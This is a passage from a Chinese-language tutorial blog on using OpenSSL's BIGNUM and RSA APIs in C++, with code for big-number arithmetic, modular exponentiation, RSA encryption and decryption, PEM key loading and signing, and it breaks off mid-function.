class="line"><span class="function">BIGNUM *<span class="title">BN_bin2bn</span><span class="params">(<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span> *s, <span class="type">int</span> len, BIGNUM *ret)</span></span>;</span><br><span class="line"><span class="function"><span class="type">char</span> *<span class="title">BN_bn2hex</span><span class="params">(<span class="type">const</span> BIGNUM *a)</span></span>;</span><br><span class="line"><span class="function"><span class="type">char</span> *<span class="title">BN_bn2dec</span><span class="params">(<span class="type">const</span> BIGNUM *a)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_hex2bn</span><span class="params">(BIGNUM **a, <span class="type">const</span> <span class="type">char</span> *str)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_dec2bn</span><span class="params">(BIGNUM **a, <span class="type">const</span> <span class="type">char</span> *str)</span></span>;</span><br></pre></td></tr></table></figure><ul><li><p>int 返回值 1 表示成功。转二进制或者十六进制的返回字符指针。</p></li><li><p><strong><code>BN_bn2bin</code> 中 <code>to</code> 字符串的长度必须是 <code> BN_num_bytes(a)</code></strong>，而且是二进制输入。</p></li><li><p>如果 <code>*a</code> 是 NULL，就会函数分配内存。</p></li><li><p>转字符串的函数会返回 NULL 结尾的字符串。</p></li><li><p>注意十六进制转 BIGNUM 是不带前缀 0x 的。</p></li></ul><h4 id="基本运算">基本运算</h4><p><code>r</code> 表示结果，部分函数需要 <code>ctx</code>。<code>BN_div</code> 中 <code>dv=a/d,rem=a%d</code>，除了最简单的加减，最后一个参数都是 <code>ctx</code>。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_add</span><span class="params">(BIGNUM *r, <span class="type">const</span> BIGNUM *a, <span class="type">const</span> BIGNUM *b)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_sub</span><span class="params">(BIGNUM *r, <span class="type">const</span> BIGNUM *a, <span class="type">const</span> BIGNUM *b)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_mul</span><span class="params">(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_sqr</span><span class="params">(BIGNUM *r, BIGNUM *a, BN_CTX *ctx)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_div</span><span class="params">(BIGNUM *dv, BIGNUM *rem, <span class="type">const</span> BIGNUM *a, <span class="type">const</span> BIGNUM *d,</span></span></span><br><span class="line"><span class="params"><span class="function">           BN_CTX *ctx)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_mod</span><span class="params">(BIGNUM *rem, <span class="type">const</span> BIGNUM *a, <span class="type">const</span> BIGNUM *m, BN_CTX *ctx)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_exp</span><span class="params">(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_gcd</span><span class="params">(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">BIGNUM *<span class="title">BN_mod_inverse</span><span class="params">(BIGNUM *r, BIGNUM *a, <span class="type">const</span> BIGNUM *n, BN_CTX *ctx)</span></span>;</span><br></pre></td></tr></table></figure><p>上面的许多运算都可以加入模运算，倒数第二个参数是模。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_mod_add</span><span class="params">(BIGNUM *ret, BIGNUM *a, BIGNUM *b, <span class="type">const</span> BIGNUM *m, BN_CTX *ctx)</span></span>;</span><br></pre></td></tr></table></figure><h4 id="比较函数">比较函数</h4><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_cmp</span><span class="params">(BIGNUM *a, BIGNUM *b)</span></span>; <span class="comment">// -1 if a &lt; b, 0 if a == b and 1 if a &gt; b</span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_ucmp</span><span class="params">(BIGNUM *a, BIGNUM *b)</span></span>; <span class="comment">//比较绝对值</span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_is_zero</span><span class="params">(BIGNUM *a)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_is_one</span><span class="params">(BIGNUM *a)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_is_word</span><span class="params">(BIGNUM *a, BN_ULONG w)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">BN_is_odd</span><span class="params">(BIGNUM *a)</span></span>;</span><br></pre></td></tr></table></figure><h4 id="综合运用">综合运用</h4><p>虽然 BIGNUM 内置了乘法逆元、模指数运算等函数，但是我们仍然可以自己实现一个自己的乘法逆元：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">string <span class="title">big_mod_exp2</span><span class="params">(string a, string e, string m)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    BIGNUM *a1, *e1, *m1;</span><br><span class="line">    BN_CTX *ctx = <span class="built_in">BN_CTX_new</span>();</span><br><span class="line">    a1 = e1 = m1 = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="built_in">BN_dec2bn</span>(&amp;a1, a.<span class="built_in">c_str</span>());</span><br><span class="line">    <span class="built_in">BN_dec2bn</span>(&amp;e1, e.<span class="built_in">c_str</span>());</span><br><span class="line">    <span class="built_in">BN_dec2bn</span>(&amp;m1, m.<span class="built_in">c_str</span>());</span><br><span class="line"></span><br><span class="line">    BIGNUM *t = <span class="built_in">BN_new</span>();</span><br><span class="line">    BIGNUM *res = <span class="built_in">BN_new</span>();</span><br><span class="line">    <span class="built_in">BN_one</span>(res);</span><br><span class="line">    <span class="built_in">BN_mod</span>(t, a1, m1, ctx);</span><br><span class="line">    <span class="keyword">while</span> (!<span class="built_in">BN_is_zero</span>(e1))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">BN_is_bit_set</span>(e1, <span class="number">0</span>))</span><br><span class="line">        &#123;</span><br><span class="line"></span><br><span class="line">            <span class="built_in">BN_mod_mul</span>(res, res, t, m1, ctx);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">BN_rshift1</span>(e1, e1);</span><br><span class="line">        <span class="built_in">BN_mod_mul</span>(t, t, t, m1, ctx);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">string</span>(<span class="built_in">BN_bn2dec</span>(res));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>比较意外的是，自己实现的似乎比内置的更加高效，可能是占用内存更多一些，内置的占用内存更少一些。</p><h3 id="RSA-加密">RSA 加密</h3><p>算法原理很简单，不赘述。</p><img src="http://cdn.blog-blockchain.xyz/202211292014112.png" alt="image-20221129201415885" style="zoom: 67%;" /><h4 id="直接使用">直接使用</h4><p>首先看生成密钥的方式，<code>RSA_new</code> 并不会生成一个直接可以用的密钥，还需要赋值。赋值的方式一种是分别对参数赋值，类似于 <code>key-&gt;n = BN_bin2bn(rsaN, n_len, NULL); key-&gt;d = BN_bin2bn(rsaD, d_len, NULL); key-&gt;e = BN_bin2bn(rsaE, e_len, NULL);</code>。另外一种就是下面的函数。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/bn.h&gt;</span></span></span><br><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/rsa.h&gt;</span></span></span><br><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&quot;iostream&quot;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> a[]=<span class="string">&quot;asdfg123sda/.,&quot;</span>;</span><br><span class="line">    RSA *key = <span class="built_in">RSA_new</span>();</span><br><span class="line">    key = <span class="built_in">RSA_generate_key</span>(<span class="number">1024</span>,<span class="number">0x100001</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> * cipher = (<span class="type">unsigned</span> <span class="type">char</span> *)<span class="built_in">malloc</span>(<span class="built_in">RSA_size</span>(key));</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> * res = (<span class="type">unsigned</span> <span class="type">char</span> *)<span class="built_in">malloc</span>(<span class="built_in">RSA_size</span>(key));</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> cipher_len = <span class="built_in">RSA_public_encrypt</span>(<span class="built_in">strlen</span>((<span class="type">char</span>*)a),a,cipher,key,RSA_PKCS1_PADDING);</span><br><span class="line">    <span class="type">int</span> plain_len =<span class="built_in">RSA_private_decrypt</span>(cipher_len,cipher,res,key,RSA_PKCS1_PADDING);</span><br><span class="line">    cout&lt;&lt;<span class="built_in">string</span>((<span class="type">char</span>*)res,plain_len)&lt;&lt;endl;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意字符串的长度，因为加密和解密函数的字符串是没有 NULL 结尾的，创建 string 需要指定长度。</strong></p><p>接着最常用的函数如下，具体的参数要求可以查看文档。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/rsa.h&gt;</span></span></span><br><span class="line">#<span class="meta">#<span class="keyword">include</span> <span class="string">&lt;openssl/engine.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function">RSA * <span class="title">RSA_new</span><span class="params">(<span class="type">void</span>)</span></span>;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">RSA_free</span><span class="params">(RSA *rsa)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_public_encrypt</span><span class="params">(<span class="type">int</span> flen, <span class="type">unsigned</span> <span class="type">char</span> *from, <span class="type">unsigned</span> <span class="type">char</span> *to, RSA *rsa, <span class="type">int</span> padding)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_private_decrypt</span><span class="params">(<span class="type">int</span> flen, <span class="type">unsigned</span> <span class="type">char</span> *from, <span class="type">unsigned</span> <span class="type">char</span> *to, RSA *rsa, <span class="type">int</span> padding)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_private_encrypt</span><span class="params">(<span class="type">int</span> flen, <span class="type">unsigned</span> <span class="type">char</span> *from, <span class="type">unsigned</span> <span class="type">char</span> *to, RSA *rsa,<span class="type">int</span> padding)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_public_decrypt</span><span class="params">(<span class="type">int</span> flen, <span class="type">unsigned</span> <span class="type">char</span> *from, <span class="type">unsigned</span> <span class="type">char</span> *to, RSA *rsa,<span class="type">int</span> padding)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_sign</span><span class="params">(<span class="type">int</span> type, <span class="type">unsigned</span> <span class="type">char</span> *m, <span class="type">unsigned</span> <span class="type">int</span> m_len, <span class="type">unsigned</span> <span class="type">char</span> *sigret, <span class="type">unsigned</span> <span class="type">int</span> *siglen, RSA *rsa)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_verify</span><span class="params">(<span class="type">int</span> type, <span class="type">unsigned</span> <span class="type">char</span> *m, <span class="type">unsigned</span> <span class="type">int</span> m_len, <span class="type">unsigned</span> <span class="type">char</span> *sigbuf, <span class="type">unsigned</span> <span class="type">int</span> siglen, RSA *rsa)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_size</span><span class="params">(<span class="type">const</span> RSA *rsa)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function">RSA *<span class="title">RSA_generate_key</span><span class="params">(<span class="type">int</span> num, <span class="type">unsigned</span> <span class="type">long</span> e, <span class="type">void</span> (*callback)(<span class="type">int</span>,<span class="type">int</span>,<span class="type">void</span> *), <span class="type">void</span> *cb_arg)</span></span>;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">RSA_print_fp</span><span class="params">(FILE *fp, RSA *x, <span class="type">int</span> offset)</span></span>;</span><br></pre></td></tr></table></figure><p>值得一提的是 <code>RSA_print_fp</code> 标准输出的东西，模数，公开的 e，私密的 d，两个大素数。后面的参数估计是为了简化运算，提前算出来的值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">RSA Private-Key: (1024 bit, 2 primes)</span><br><span class="line">modulus:</span><br><span class="line">    00:c6:42:9c:69:e2:ef:6d:ed:9e:c6:2d:4b:ea:43:</span><br><span class="line">    35:d9:94:14:e2:b0:e9:4e:66:24:c4:5b:df:96:23:</span><br><span class="line">    ef:5d:67:46:7c:7e:ab:ff:05:5d:17:de:3f:00:d1:</span><br><span class="line">    67:f3:6a:b0:0c:89:f2:40:b9:11:0a:7d:c6:3a:23:</span><br><span class="line">    91:82:f8:c7:75:ce:3c:8c:19:f0:3e:7e:a9:fa:07:</span><br><span class="line">    a5:87:05:81:3e:51:cc:88:9e:0a:e1:34:50:77:34:</span><br><span class="line">    bb:c1:9c:bf:75:d8:54:18:fa:db:c6:74:fc:a3:60:</span><br><span class="line">    cc:44:fb:60:ea:b9:f4:68:f5:d9:11:8a:82:f8:a4:</span><br><span class="line">    c6:59:9b:82:28:2c:7c:72:1b</span><br><span class="line">publicExponent: 1048577 (0x100001)</span><br><span class="line">privateExponent:</span><br><span class="line">    00:bd:2e:ab:b0:33:d0:38:db:c7:08:71:50:52:68:</span><br><span class="line">    bc:05:c5:8f:9b:c9:0a:8a:26:59:3c:df:f0:24:d3:</span><br><span class="line">    c0:ba:68:18:5c:f9:c4:28:be:54:5d:59:44:50:20:</span><br><span class="line">    3c:67:42:e7:ff:ef:79:14:04:7a:8b:47:74:64:3a:</span><br><span class="line">    b2:75:a2:c2:ad:7c:11:4c:a5:48:89:2b:86:fa:e5:</span><br><span class="line">    6e:bd:2e:04:d6:e9:34:70:ef:d2:57:f8:cf:5d:93:</span><br><span class="line">    57:ba:b2:2a:3d:fd:3a:f0:88:27:4c:e5:5b:77:b9:</span><br><span class="line">    cc:b1:a0:4e:8a:fa:f4:51:38:49:e8:24:c7:2e:a2:</span><br><span class="line">    1d:9d:08:4f:22:54:ed:ab:79</span><br><span class="line">prime1:</span><br><span class="line">    00:fa:58:0e:cc:a1:cc:bc:38:d5:99:02:7e:2e:6a:</span><br><span class="line">    d0:3a:fe:40:bd:13:ea:5e:27:7d:8b:1a:77:d5:c3:</span><br><span class="line">    e8:13:09:f9:fc:9c:b8:db:15:e8:8b:39:03:74:66:</span><br><span class="line">    ef:9a:03:e5:a5:38:af:51:b0:2d:e0:fb:90:f1:b9:</span><br><span class="line">    45:00:f5:da:6f</span><br><span class="line">prime2:</span><br><span class="line">    00:ca:bd:4f:7b:09:86:08:95:81:28:65:38:a7:fe:</span><br><span class="line">    c6:bb:d7:5c:3a:95:ca:c0:cb:6d:97:8f:aa:f6:18:</span><br><span class="line">    91:07:8e:18:c8:5d:02:30:f8:fa:7c:87:53:41:6d:</span><br><span class="line">    80:0d:3b:ae:6d:ff:3a:33:a4:e4:61:e0:6b:bd:8f:</span><br><span class="line">    d1:1e:e6:69:15</span><br><span class="line">exponent1:</span><br><span class="line">    00:d7:1b:cc:85:a7:de:88:dd:0d:3b:00:88:ab:e9:</span><br><span class="line">    cc:dd:93:d9:d7:39:97:55:fd:89:47:c5:d1:ab:98:</span><br><span class="line">    92:97:92:d1:0c:19:b9:34:e4:67:da:1a:27:8e:4a:</span><br><span class="line">    59:cc:38:ec:77:40:c5:70:ac:82:e1:20:fa:a1:23:</span><br><span class="line">    ff:70:6b:49:01</span><br><span class="line">exponent2:</span><br><span class="line">    59:50:33:aa:45:b5:a4:35:38:50:5e:e0:59:4d:de:</span><br><span class="line">    6a:1a:a7:2a:d1:91:d2:69:10:bb:13:39:e4:71:b0:</span><br><span class="line">    be:cb:bc:7c:aa:77:60:38:fc:df:63:94:86:49:ab:</span><br><span class="line">    64:59:ac:20:30:cd:59:fa:e6:8f:72:c3:27:68:24:</span><br><span class="line">    6e:9d:44:71</span><br><span class="line">coefficient:</span><br><span class="line">    00:e0:01:b8:44:3e:26:66:05:dc:ab:6d:07:cf:63:</span><br><span class="line">    0b:72:25:ce:3e:8f:d6:61:be:f4:c9:57:b1:a3:b4:</span><br><span class="line">    7d:e4:7f:20:7d:5b:25:27:aa:d6:07:8f:0e:46:3e:</span><br><span class="line">    76:ba:15:e1:67:25:1b:10:3e:7b:87:1d:28:e1:79:</span><br><span class="line">    03:de:cc:96:ab</span><br></pre></td></tr></table></figure><h4 id="从文件读取">从文件读取</h4><p>从文件读取然后创建密钥，特别是区分公钥和私钥。我们只学了两个函数，分别用于读取公钥和私钥 <code>PEM_read_RSA_PUBKEY</code>、<code>PEM_read_RSAPrivateKey</code>。这两个函数的大小写怪怪的，考试前要记一下，因为不同格式的 PEM 文件要用不同的函数读取。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">RSA *<span class="title">createRSAWithFilename</span><span class="params">(<span class="type">char</span> *filename, <span class="type">int</span> is_pub)</span> </span>&#123;</span><br><span class="line">    FILE *fp = <span class="built_in">fopen</span>(filename, <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (fp == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Unable to open file %s \n&quot;</span>, filename);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    RSA *rsa = <span class="built_in">RSA_new</span>();</span><br><span class="line">    <span class="keyword">if</span> (is_pub) &#123;</span><br><span class="line">        rsa = <span class="built_in">PEM_read_RSA_PUBKEY</span>(fp, &amp;rsa, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="comment">//        rsa = PEM_read_RSAPublicKey(fp, &amp;rsa, NULL, NULL); //这是另外一种格式的 PEM 读取方式。</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        rsa = <span class="built_in">PEM_read_RSAPrivateKey</span>(fp, &amp;rsa, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">fclose</span>(fp);</span><br><span class="line">    <span class="keyword">return</span> rsa;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><p>给出完整的加解密代码：</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">string <span class="title">RSA_Encrypt</span><span class="params">(string plaintext, string pub_key_file)</span> </span>&#123;</span><br><span class="line">    FILE *f = <span class="built_in">fopen</span>(pub_key_file.<span class="built_in">c_str</span>(), <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (f == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;load public key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    RSA *key = <span class="built_in">RSA_new</span>();</span><br><span class="line">    key = <span class="built_in">PEM_read_RSA_PUBKEY</span>(f, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">if</span> (key == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;generate public key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> *cipher = (<span class="type">unsigned</span> <span class="type">char</span> *) <span class="built_in">malloc</span>(<span class="built_in">RSA_size</span>(key));</span><br><span class="line">    <span class="type">int</span> cipher_len = <span class="built_in">RSA_public_encrypt</span>(plaintext.<span class="built_in">length</span>(), (<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span> *) plaintext.<span class="built_in">c_str</span>(), cipher, key, RSA_PKCS1_PADDING);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">string</span>((<span class="type">char</span> *) cipher, cipher_len);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">string <span class="title">RSA_Decrypt</span><span class="params">(string ciphertext, string pub_key_file)</span> </span>&#123;</span><br><span class="line">    FILE *f = <span class="built_in">fopen</span>(pub_key_file.<span class="built_in">c_str</span>(), <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (f == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;load private key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    RSA *key = <span class="built_in">RSA_new</span>();</span><br><span class="line">    key = <span class="built_in">PEM_read_RSAPrivateKey</span>(f, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">if</span> (key == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;generate private key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> *plain = (<span class="type">unsigned</span> <span class="type">char</span> *) <span class="built_in">malloc</span>(<span class="built_in">RSA_size</span>(key));</span><br><span class="line">    <span class="type">int</span> plain_len = <span class="built_in">RSA_private_decrypt</span>(ciphertext.<span class="built_in">length</span>(), (<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span> *) ciphertext.<span class="built_in">c_str</span>(), plain, key, RSA_PKCS1_PADDING);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">string</span>((<span class="type">char</span> *) plain, plain_len);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="RSA-签名">RSA 签名</h3><p>我们知道私钥用于签名，公钥用于验证。我们可以使用内置的函数，更加方便，也更加实用。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">string <span class="title">sign</span><span class="params">(string data, string private_key_file)</span> </span>&#123;</span><br><span class="line">    FILE *f = <span class="built_in">fopen</span>(private_key_file.<span class="built_in">c_str</span>(), <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (f == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;load private key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    RSA *key = <span class="built_in">RSA_new</span>();</span><br><span class="line">    key = <span class="built_in">PEM_read_RSAPrivateKey</span>(f, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="built_in">fclose</span>(f);</span><br><span class="line">    <span class="keyword">if</span> (key == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;generate private key failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> *sig = (<span class="type">unsigned</span> <span class="type">char</span> *) <span class="built_in">malloc</span>(<span class="built_in">RSA_size</span>(key));</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> sig_len;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="built_in">RSA_sign</span>(NID_sha1, (<span class="type">const</span> <span class="type">unsigned</span> <span class="type">char</span> *) data.<span class="built_in">c_str</span>(), data.<span class="built_in">length</span>(), sig, &amp;sig_len, key)) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;sign failed!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">string</span>((<span class="type">char</span> *) sig, sig_len);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">string <span class="title">verify</span><span class="params">(string data, string signature, string pub_key_file)</span> </span>&#123;</span><br><span class="line">    FILE *f = <span class="built_in">fopen</span>(pub_key_file.<span class="built_in">c_str</span>(), <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (f == <span 